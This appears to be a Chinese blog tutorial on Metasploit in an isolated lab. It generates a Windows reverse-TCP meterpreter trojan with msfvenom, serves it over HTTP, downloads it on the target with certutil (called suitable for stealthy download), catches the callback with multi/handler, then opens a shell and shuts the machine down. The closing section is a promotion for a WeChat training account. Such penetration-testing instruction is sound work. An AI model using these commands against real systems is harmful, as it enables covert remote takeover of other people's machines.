💖 温馨提示:有个事儿得先说清楚,这篇文章讲的东西,都得在你自个儿有权掌控的设备上、在拿到许可的前提下搞,要是没授权就去碰人家的系统,那可就触犯法律了。

一、为什么要学习Metasploit?

那么,花时间去钻研 Metasploit 究竟有何价值,

对于那些志在网络安全领域深耕的人而言,这套工具框架几乎成了一种必备的素养,其根本逻辑在于,构筑坚固防线的先决条件,是对攻击者的手法有足够透彻的认知。

1.1 安全从业者的必备技能

Metasploit 这个框架,它能让你直观地看到一个漏洞被实际利用后,会引发何等严重的后果,同时也能充当试金石,检验你部署的安全方案究竟有多大能耐,

更深层次的,则是通过复现完整的攻击链路,让人明白该从哪些环节着手去巩固防御。

1.2 本文学习目标

依循本文的指引,在许可范围内动手实践一番之后,你应该能对 Metasploit 框架的入门操作有个谱,也能弄明白所谓的 反向连接 到底是怎么回事,并且学会在一个合规的环境里,去评估既有的安全防护措施是否到位。

💖 温馨提示:建议在隔离的虚拟环境中进行所有实验。

二、MSF渗透实验

本文以 Kali Linux 为操作环境,实操演示用 MSF 框架的 msfvenom 生成 Windows 反向 TCP 木马、搭建 HTTP 服务供靶机下载,再通过 msfconsole 监听上线,最终获取靶机命令行并执行关机操作的完整流程,步骤清晰且附关键操作命令与效果截图。

msfvenom:是一个Metasploit(MSF)的一个木马生成工具,可嵌套其他exe应用程序

Metasploit(MSF):网络安全知名的一个专业渗透测试框架,包含msfvenom,msfconsole等工具

实验环境:

攻击机:kali,IP:10.10.10.128

靶机(受害者):windows server 2016,IP:10.10.10.0/24(和kali同一网段即可,任意ip皆可)

相关文章推荐:

kali的安装:往期推荐

windows server 2016的安装:往期推荐

2.1 打开kali终端

这里选择的是红色的 Root Terminal Emulator 这个终端就是最高权限用户root的终端

image-20250930135541067

提示需要输入kali的密码(默认为kali)

image-20250930135603041

这样就会打开一个最高权限用户root的终端(使用root终端的好处,就是很方便,但也很危险,切记不要乱执行rm -rf *)

image-20251010161108053

2.2 创建反向监听器

我们需要打开msf,直到出现如下界面

msfconsole

image-20251009213834604

在msfconsole中执行如下命令

use exploit/multi/handler # 主要作用是接收来自目标主机的反向连接(如反向 Shell)
set payload windows/meterpreter/reverse_tcp # 刚刚生成木马的模块
set lhost 10.10.10.128 # 设置反向连接的IP地址,也就是kali的IP地址
set lport 4444 # 设置反向连接的端口(kali的端口)
run # 启动监听模块

image-20250926160341674

2.3(攻击机)生成木马

接下来用 msfvenom 生成一个 Windows 能运行的木马,命令如下:

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.128 lport=4444  -f exe -o ./1.exe # 怎么样才是生成成功

python -m http.server &   # 需要将刚刚生成的 1.exe 上传到windows机器上,这里表示在当前目录/data/demo下,启动http服务,提供木马1.exe的下载功能

image-20250926164246289

这条命令用于生成 Windows 系统下的反向 TCP 连接木马也就是1.exe,参数解析如下:

msfvenom:Metasploit 框架的木马生成工具

-p windows/meterpreter/reverse_tcp:指定 payload(攻击载荷),这里是 Windows 系统的 meterpreter 反向 TCP 连接(被控端主动连主动主动连接控制端)

lhost=10.10.10.128:设置控制端 IP(即攻击者主机 IP)

lport=4444:设置控制端监听端口(需与后续监听命令的端口一致)

-f exe:指定生成文件格式为 exe 可执行文件

-o ./1.exe:设置输出路径和文件名(当前目录下生成 1.exe)

2.4(目标机)下载木马

方法一:命令下载

首先,在桌面,按住shift+鼠标右键,即可出现在此处打开命令行窗口

image-20251010164400982

这时候,windows终端cmd的当前路径就是桌面了

image-20251010164437779

使用如下命令下载,因为我的桌面上已经有了一个1.exe,所以我输出的文件名为2.exe,此处仅演示从攻击机kali中下载木马的步骤

certutil -urlcache -split -f http://10.10.10.128:8000/1.exe 2.exe

image-20250926161721602

命令解释:

certutil 是 Windows 自带的工具,不用额外装,适合隐蔽下载;http://Kali的IP:8000/1.exe 就是我们刚搭的 HTTP 服务地址;最后存成 2.exe

方法二:直接下载

打开谷歌浏览器,输入10.10.10.128:8000,找到你要下载的应用程序,下载下来就好了

image-20250926161103299

2.5 攻击机上线

双击木马之后,就能上线msf,切换到刚刚创建反向监听器的终端

image-20250926161813189

meterpreter > shell whoami # 输入shell whoami,进入受害者的cmd并查看当前用户

此时目标靶机已经成功上线,可以看到有很多的乱码

image-20250926161933869

输入如下命令就能更改反弹过来的shell的编码为中文

chcp 65001 # 设置编码为中文
dir # 查看计算机有什么文件,可以看到已经变成了中文,没有乱码了

image-20251010165528646

开始关机

shutdown -s -t 10

shutdown -s -t 10 是 Windows 系统中用于设置定时关机的命令,各参数含义:

  • shutdown:系统关机命令的主程序
  • -s:指定操作类型为关机(若替换为 -r 则变为重启)
  • -t 10:设置倒计时时间,单位为秒,这里表示 10 秒后执行关机

如图,它显示的是一分钟后关闭,实际上我们设置的是10s后关机,这里只是显示问题,无伤大雅

image-20250926162141609

完成关机,渗透完成,同时也可以对其摄像头等等进行操作,在以后的文章会详细的讲

image-20250926162201974

三、总结

核心流程:Kali 中用msfvenom生成1.exe木马→启 HTTP 服务(python -m http.server)供靶机下载→msfconsole配置multi/handler监听→靶机用certutil下载并运行木马→成功上线后通过shell进入命令行,执行shutdown -s -t 10完成关机。

关键操作:生成木马需匹配监听的 payload 与 IP 端口;靶机下载用系统自带certutil无需额外工具;中文乱码可通过chcp 65001解决,确保命令行正常交互。

四、🎯 网络安全学习资源推荐

觉得文章对你有帮助?想获取更多实战干货?

我们为你准备了一套 「从零到一的网络安全学习资料包」,包括:

  • 🔥 红队攻防实战手册 - 内网渗透、漏洞利用、权限提升

  • 📚 网络安全学习路线图 - 零基础入门到就业完整路径

  • 💼 最新网络安全面试题 - 大厂真题+面试技巧

  • 🛠️ 渗透测试工具包 - 常用工具+使用教程

  • 🎯 靶场搭建全套方案 - DVWA、SQLi-Labs等实战环境

如何获取?

  • 微信搜索公众号:[智榜样网络安全学习中心]

  • 关注后添加老师微信

  • 即可免费领取全套学习资料

💡 适合人群:网络安全初学者、转行人员、在校学生、想要提升实战能力的从业者

我们在网络安全培训领域深耕多年,专注红蓝对抗实战与就业指导,帮助数百名学员成功入行

更多推荐